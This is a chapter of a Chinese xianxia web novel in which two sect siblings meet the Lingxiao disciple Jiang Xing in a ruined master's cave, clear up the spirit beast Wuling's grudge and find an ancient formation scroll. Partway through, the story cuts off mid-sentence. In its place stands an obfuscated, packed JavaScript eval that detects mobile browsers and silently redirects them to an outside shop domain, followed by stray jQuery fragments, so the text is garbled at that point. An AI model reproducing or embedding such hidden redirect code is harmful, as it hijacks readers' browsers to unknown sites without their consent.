石室内陈设简朴,石台角落摆放的两只蒲团已然腐朽,石壁凿成的三层架上零零散散摆放有古籍和玉简,木桌上烛台倒伏积了一层厚厚的灰,一只手碰到桌脚,柱形的烛台骨碌碌滚动。
栗束半扶桌沿,目光呆怔,她不是让五零卷着吗?怎么在地上?
“小师妹。”
摔在墙角的君柏爬起身快步过去将栗束扶起拉至身后,默不作声地离对面的白衣女修远了几步。
五零招惹的这人可是个金丹,还穿着灵霄宗弟子服饰,在君柏心中,灵霄宗门人向来张扬轻狂,若牵连到他们,动起手来,小师妹不能使用灵气,他得仔细些护着。
手腕上的那只手捏得很紧,栗束晃了晃,“五师兄?这里是什么地方?”
“流华尊者洞府遗迹。”
声音来源于姜荇,师兄妹二人睁大眼,这里就是他们要找的流华尊者洞府?他们掉进这血窟中还能误打误撞跟着人进入大能洞府遗迹。
栗束不可置信地扫视周围好几眼,这就是大能洞府?
栗束想象中的洞府遗址,是废弃的宫殿,还有一片无人打理但灵气充沛种植有无数上品灵植的药园,没想到竟如此朴实无华。
不同于栗束的好奇,君柏面上的震惊迅速退去,取而代之的是防备。
是对姜荇的防备。
五零本就与此人有旧怨,拉扯之际他们误打误撞跟着她一起到这洞府遗迹中来,难保此人不会为了独吞机缘对他们痛下杀手。
加之两百年前决云宗与灵霄宗之间的恩怨,君柏对灵霄宗沾边的人或物无一丝好感可言。
姜荇目光淡淡扫过对面二人的表情,手一抬,一个荷包扔进从少年身后探出半个身子的少女怀中,背过身去,“管好它。”
栗束挣脱师兄的束缚,双手打开仔细一瞧,贴上禁言符的五零,对上那双愤怒的红眼睛。
方才是我一时大意叫她暂时封了我的妖丹,快帮我解开封印。
快点呀!你不会想帮着那个骗子,背叛我吧?放开放开!
五零被封了妖丹,没办法传音给栗束。但栗束依旧能读懂五零目光中表露出来的意思。
这家伙还是安静一点好。
栗束默默合上,将荷包系在腰间。
荷包剧烈摇晃。
叛徒!我是因为谁落魄至此?!
那颗鎏金色漂亮珠子不知何时出现,撞了撞装着五零的荷包,五零动作停顿片刻,随之而来的反抗意味更加激烈。栗束唾弃五零这个不仅闯祸还学会骗人的家伙活该,目光好奇地打量这颗报复五零的珠子,想摸摸,还未碰到它,鎏金珠已窜回姜荇身边。
见对方并无表露出敌意,君柏轻拍胸口,稍稍放心些许。
“五师兄,我过去打个招呼。”
身旁身影迅速闪过,君柏拦人的手僵在半空,“小师妹,你……”
君柏扶额苦恼,小师妹有过寰宇城中那两次教训,对陌生人依旧毫无防备之心。
他不知的是,雾月秘境中栗束提及过的那名白衣女修正是眼前的姜荇。
有过前几次会面,栗束不知为何,潜意识相信姜荇不会对他们动手,才会表现出好奇与亲近。
即便每次遇见,这位姜道友对她冷冷淡淡。
栗束站至姜荇身旁,看她拿起一本破旧残书,翻了翻,放下,重新拿起一本,像是没注意到身旁有人。
“姜道友?”
指腹落在书面上顿住,灰棕色瞳孔中倒影半张白皙面颊。
“姜道友,我叫栗束。”
粉润唇瓣一张一合,弧度变化不大,尾音却是上扬着,黝黑瞳仁清澈如洗,澄明如新。
指腹从书页上挪开,姜荇转过身,同那双极其肖似小猫的眼睛对上,审视意味明显。
这双眼睛很熟悉,但她想不起与谁相似。
被这样淡漠的目光锁定,栗束也丝毫不惧,组织话语刚想开口。
“我到此处不过寻一件东西。旁的,你们任取。”
姜荇这句话,明了告诉栗束他们,只要他们不争抢那件东西,双方相安无事。
君柏走近一步拉过自家小师妹,呼出一口气,应道,“姜道友放心。”
栗束踉跄几步,在师兄身前站定,问姜荇。
“你要的东西是七叶梦藤吗?”
君柏诧异地看向师妹,心中升起一丝欣慰,这时候还没忘此行目的,若四师兄知晓了一定很欣慰被小师妹放在心上如此记挂。
“这里没有七叶梦藤。”
眼珠转动一圈,栗束很快认同姜荇的话。莫说七叶梦藤,石室内连株存活的灵植都未见到。
腰间装有五零的荷包动了动,栗束想起自己本要询问姜荇的问题。
“姜道友,可否告知你同五零之间究竟是何恩怨?它一直不肯同我说。”
对方没有立即回答,静默对视上她的眼睛,栗束误以为姜荇不知五零这个名字是谁,指了指腰间鼓动得猛烈的荷包,“…就是这个红眼睛的家伙。”
五零…雾灵…
这眼前少女指作红眼睛的家伙,确实曾对她说过,它是雾灵。
‘我可是绝无仅有的雾灵,你若帮我解除封印,做我奴仆,奉我为主,我可以勉为其难带你找到你要的东西’
‘我先替你解除一道封印,找到东西,再解除剩下两道,旁的不行。’
五零一直得寸进尺,奈何姜荇不为所动,寻到东西后,如约解除剩余封印。奈何解除封印后的五零不讲武德,仗着自己修为比姜荇高,强行要求姜荇与它签订主仆契约。
姜荇逃离,因此五零臆断其为出尔反尔的骗子。
“我没有骗它。它替我寻物,我答应帮它解除封印。它想同我签订主仆契约,我不愿。”
即便姜荇实际描述简短,师兄妹二人依旧凭借强大的想象补全成以上事实。
雾月秘境中五零制造出那么大的动静,就是为了找出姜荇签主仆契约?
主仆契约,不会是他们知道的那个主仆契约吧。五零还真是会自己主动送上门,抓住一个人就要签订主仆契约。
听对方的语气,想来是知晓五零口中主仆契约本质上是何种契约,看来是不想将计就计契约五零做她的仆兽。
五零好歹也是四阶妖兽,这是得多遭人嫌弃。
难怪一直不肯同他们说。
原来如此!原来如此!
栗束腰间的荷包像是被抽离所有生机一般,一动也不动。
完了,全完了。
当着姜荇的面两人不好放肆笑出声,尤其憋得住的是栗束,君柏在此刻尤其羡慕小师妹这不显山不露水的面瘫属性。
轻咳一声止了笑意,转而带有几分试探,出声询
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935002|212269||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
问姜荇。
“所以……姜道友同我师妹早在雾月秘境中见过?”
“嗯。”
“对!姜道友救过我。”
两道声音先后传出。君柏知晓师妹不会对他撒谎,但在雾月秘境中救她的不是倾天宗一行吗?
姜荇何时救过她?
君柏回想一圈,终于将对面的着白色灵霄宗弟子服饰的姜荇同栗束提及过的面具白衣女修联系在一起。
“姜道友放心,以后我会管好五零的。”栗束朝姜荇认真点了点头,然后低头拍了拍五零呆的荷包,“现在知晓羞愧了?你这颠倒是非黑白的思想不对,要好好反省。”
五零不屈地动了动,才不!
误会既已解释清楚,姜荇重新背过身,鎏金珠的光芒照亮她后背,腰封上金制兽纹熠熠生辉。
栗束瞳孔被那抹金光照亮,刚要挪动脚步就被君柏死死拉住。
“小师妹,你同我去那边。”
栗束不解君柏为何不愿她同姜荇接触,但还是乖乖跟着君柏去到距离姜荇最远的另一端。
此处虽无七叶梦藤,可毕竟是千年之前的大能洞府,君柏翻阅残卷玉简,试图找到有关七叶梦藤的记载。
栗束摊坐在石台上,因君柏怕她不小心触到传送出去的阵法,便叫她好生呆在一旁。
栗束双腿交叠撑着身子向后一仰,右手碰到蒲团,轻轻一扯,蒲团散开,风化的蒲草在指尖一捻,成了细灰。
栗束偏头,就见扯散的蒲团中夹着一残破古卷,卷上几个大字模糊不清像是被人故意抹去,栗束顺手捡起坐直身细瞧,上面描绘的是一阵图,阵纹古朴繁杂,标注处与阵图边角略有几处残缺。
两人无一人注意到栗束的动静,但她还是抬头问姜荇:“姜道友,你要找的东西是一张阵图吗?”
姜荇正拿起一卷锦卷,回头就见栗束双手举着残破的古卷朝向她展开,视线粗略扫过上面绘制的阵法,答:“不是。”
君柏听清二人对话声音,偏头望去,第一眼是石台上散落的蒲草,随后才看向摊开在小师妹双腿上的古卷。
少女侧脸线条柔和,整齐的刘海下浓密卷翘的睫毛微颤,模样凝神专注。
君柏稍稍放下心,收回视线。也不计较师妹有胳膊肘往外拐的嫌疑,毕竟一早便同姜荇商议好,若这古卷真是对方要寻之物,君柏本性向来光明磊落,也定不会教栗束私藏。
若说师兄妹二人见识的人性险恶太少,君柏是比栗束多留有几分心眼,可依旧是如出一辙地毫无城府可言,只记得同姜荇口头上的承诺,并未思虑若是姜荇对栗束手中的阵图起了贪念,出尔反尔,又当何论。
二人的回答是,若姜荇真想要,不必动手,直言声此卷便是她要寻之物,栗束直接双手奉上。
面对修为上差距,二人就是如此通透。
若姜荇当真出手抢夺,君柏也好凭此叫师妹彻底看清拜入灵霄宗所有修士,告诫其今后万万不可与灵霄宗门人亲近来往。
君柏虽未修习过阵法,却也能瞧出上面绘制的阵纹图案是上古遗存的手笔,何况此物出现在飞升大能旧日洞府中,何其珍贵。
姜荇却没有丝毫犹豫答不是。
见姜荇守约,对比血河中那群叫嚣着要教训他们的灵霄宗弟子,君柏单对姜荇这位传言中灵霄宗天才弟子减轻几分抵触。